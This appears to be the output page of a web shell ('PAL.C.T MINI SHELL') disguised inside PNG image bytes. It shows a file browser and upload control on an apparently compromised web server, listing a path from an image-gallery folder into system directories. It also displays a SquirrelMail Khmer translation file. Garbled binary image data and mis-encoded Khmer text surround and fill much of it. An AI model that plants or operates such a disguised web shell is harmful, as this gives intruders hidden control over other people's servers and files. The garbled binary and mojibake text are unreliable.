‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/vkeyboard.po

# Khmer (km) vkeyboard Translation
# piseth <piseth_dv@khmeros.info>, 2008.
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2009.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: vkeyboard\n"
"Report-Msgid-Bugs-To: Daniel K. Imori <daniel@bastion.com.br>\n"
"POT-Creation-Date: 2006-09-10 01:15+0200\n"
"PO-Revision-Date: 2009-04-24 09:34+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: functions.php:49
msgid "Are you using a public computer?"
msgstr "ážáž¾â€‹áž¢áŸ’នក​កំពុង​ប្រើ​កុំព្យូទáŸážšâ€‹ážŸáž¶áž’ារណៈ​ឬ ?"

#: functions.php:51
msgid "Enter your password with the "
msgstr "បញ្ចូល​ពាក្យ​សម្ងាážáŸ‹â€‹ážšáž”ស់​អ្នក​ជាមួយ "

#: functions.php:56
msgid "virtual keyboard"
msgstr "ក្ដារចុច​និម្មិáž"

#: functions.php:61
msgid "Open Virtual Keyboard"
msgstr "បើក​ក្ដារចុច​និម្មិáž"

#: help.php:46
msgid "Virtual Keyboard: Help"
msgstr "ក្ដារ​ចុច​និម្មិážÂ áŸ– ជំនួយ"

#: help.php:51
msgid "What's a virtual keyboard?"
msgstr "អ្វី​ជា​ក្ដារចុច​និម្មិážÂ ?"

#: help.php:54
msgid "It's a keyboard that simulates a real keyboard. ;)"
msgstr "វា​ជា​ក្ដារចុច ដែល​បង្កើážâ€‹áž¡áž¾áž„​ដូចគ្នា​នឹង​ក្ដារចុច​ពិážâ€‹áž”្រាកដ ។ ;)"

#: help.php:56
msgid ""
"It protects your password against keyloggers, which are hidden programs that "
"capture everything that you type or click."
msgstr "វា​ការពារ​ពាក្យ​សម្ងាážáŸ‹â€‹ážšáž”ស់​អ្នក​ពី​កម្មវិធី​ចុះ​កំណážáŸ‹áž áŸážáž»â€‹ážŸáŸ„ ដែល​ជា​កម្មវិធី​បង្កប់​លាក់ និង​ចាប់យក​នូវ​អ្វីៗ​គ្រប់យ៉ាង​ដែល​អ្នក​វាយ ឬ​ចុច ។"

#: help.php:58
msgid ""
"So, you can increase your security, using the virtual keyboard and its "
"\"automatic click\" function."
msgstr "ដូច្នáŸáŸ‡ អ្នក​អាច​បង្កើន​សុវážáŸ’ážáž·áž—ាព​របស់​អ្នក​បាន ដោយប្រើ​ក្ដារចុច​និម្មិហនិង​មុážáž„áž¶ážš \"ចុច​ដោយ​ស្វáŸáž™áž”្រវážáŸ’ážáž·\" របស់​វា ។"

#: help.php:60
msgid ""
"For this, you must point the mouse and keep it for few seconds on the key "
"that you want to type."
msgstr "ដើម្បី​ប្រើ​វា អ្នក​ážáŸ’រូវ​ážáŸ‚​ដាក់​ទ្រនិច​កណ្ដុរ​លើ​គ្រាប់ចុច​ដែល​អ្នក​ចង់​វាយ​រយៈពáŸáž›â€‹áž”ី បួន​វិនាទី ។"

#: vkeyboard.php:52
msgid "Virtual Keyboard"
msgstr "ក្ដារចុច​និម្មិáž"

#: vkeyboard.php:107
msgid "Enter your password:"
msgstr "បញ្ចូល​ពាក្យ​សម្ងាážáŸ‹â€‹ážšáž”ស់​អ្នក"

#: vkeyboard.php:110
msgid "Help"
msgstr "ជំនួយ"

#: vkeyboard.php:114
msgid "The key will be pressed in "
msgstr "គ្រាប់ចុច​ដែល​នឹង​ážáŸ’រូវ​ចុច​ក្នុង​រយៈពáŸáž› "

#: vkeyboard.php:116
msgid " seconds."
msgstr " វិនាទី ។"

#: vkeyboard.php:159
msgid "Login"
msgstr "ចូល"

#: vkeyboard.php:164
msgid "Clear"
msgstr "ជម្រះ"

#: vkeyboard.php:169
msgid "Close"
msgstr "បិទ"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚